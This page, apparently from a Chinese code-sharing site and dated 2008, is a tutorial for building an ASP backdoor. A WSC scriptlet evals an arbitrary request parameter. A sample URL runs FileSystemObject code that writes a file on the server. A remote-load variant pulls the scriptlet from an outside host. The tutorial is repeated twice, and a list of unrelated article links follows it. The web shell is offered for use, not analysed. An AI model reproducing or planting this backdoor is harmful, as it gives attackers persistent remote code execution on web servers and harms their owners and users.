利用wsc制作的一個asp后門
更新時間：2008年12月12日 14:07:55 作者：
ScriptCodingInfo.wsc代碼如下，該文件可以改成任意后綴
<?xml version="1.0" encoding="gb2312" standalone="yes"?>
<?component error="true" debug="true"?>
<package>
<component id="haiyangtop">
<public>
<method name="lcx"><parameter name="b"/></method>
</public>
<script language="VBScript"><![CDATA[
sub lcx(b)
eval(b)
end sub
]]>
</script>
</component>
</package>
backdoor.asp內(nèi)容如下：
<%
b=request("a")
Set fs = GetObject("script:d:/web/ScriptCodingInfo.wsc#haiyangtop")
fs.lcx(b)
%>
調(diào)用方法如下：http://url/backdoor.asp?a=CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\1122.txt"),8,True,0).WriteLine("123")
注意這里的a=只能是vbs的代碼，不可以接受像response、rquest之類的asp的東東。
如果是2000服務器可以在backdoor.asp遠程調(diào)用ScriptCodingInfo.wsc，像
Set fs = GetObject("script:http://www.xx.com/ScriptCodingInfo.wsc#haiyangtop")，2003服務器中不可以。
算一個思路，雞肋，誰有更好的辦法完善，能夠直接調(diào)用cs的asp木馬的c端就好了。
<?component error="true" debug="true"?>
<package>
<component id="haiyangtop">
<public>
<method name="lcx"><parameter name="b"/></method>
</public>
<script language="VBScript"><![CDATA[
sub lcx(b)
eval(b)
end sub
]]>
</script>
</component>
</package>
backdoor.asp內(nèi)容如下：
<%
b=request("a")
Set fs = GetObject("script:d:/web/ScriptCodingInfo.wsc#haiyangtop")
fs.lcx(b)
%>
調(diào)用方法如下：http://url/backdoor.asp?a=CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\1122.txt"),8,True,0).WriteLine("123")
注意這里的a=只能是vbs的代碼，不可以接受像response、rquest之類的asp的東東。
如果是2000服務器可以在backdoor.asp遠程調(diào)用ScriptCodingInfo.wsc，像
Set fs = GetObject("script:http://www.xx.com/ScriptCodingInfo.wsc#haiyangtop")，2003服務器中不可以。
算一個思路，雞肋，誰有更好的辦法完善，能夠直接調(diào)用cs的asp木馬的c端就好了。
相關文章
![vbs 搜索代理地址實現(xiàn)代碼[小偷程序]](http://img.jbzj.com/images/xgimg/bcimg0.png)
將下面的代碼，直接保存為getproxy.vbs即可。2009-10-10
cmdhere安裝，使你在任何目錄下直接進入改目錄的CMD狀態(tài),需要的朋友可以參考下2008-05-05
修復Windows上面的WScript的腳本(.vbs)不能執(zhí)行了
修復Windows上面的WScript的腳本(.vbs)不能執(zhí)行了...2007-03-03
用vbs查找系統(tǒng)進程，發(fā)現(xiàn)qq的進程則殺掉就是這段代碼的原理2008-06-06
這篇文章主要介紹了如何使用vb 監(jiān)控電腦活動記錄，幫助大家更好的理解和學習使用vb，感興趣的朋友可以了解下2021-03-03
VBS教程：方法-Keys 方法...2006-11-11
在網(wǎng)絡上共享照片，常需要復制上傳到某站點的照片的鏈接地址，部分瀏覽器提供了比較快捷的右鍵菜單來復制該地址，如Maxthon、Firefox等2008-12-12
Springboot Thymeleaf數(shù)據(jù)迭代實現(xiàn)過程
這篇文章主要介紹了Springboot Thymeleaf數(shù)據(jù)迭代實現(xiàn)過程,文中通過示例代碼介紹的非常詳細，對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下2007-12-12
這篇文章主要介紹了微軟自己的代碼加解密實現(xiàn)方法，需要的朋友可以參考下2013-07-07
使用腳本調(diào)用系統(tǒng)的關機對話框?qū)崿F(xiàn)代碼
以前有介紹如何使用命令行調(diào)用系統(tǒng)的關機對話框rundll32.exe shell32.dll #60,但是，上述方法會存在一問題，XP下無法正常使用該方法進行關機2012-05-05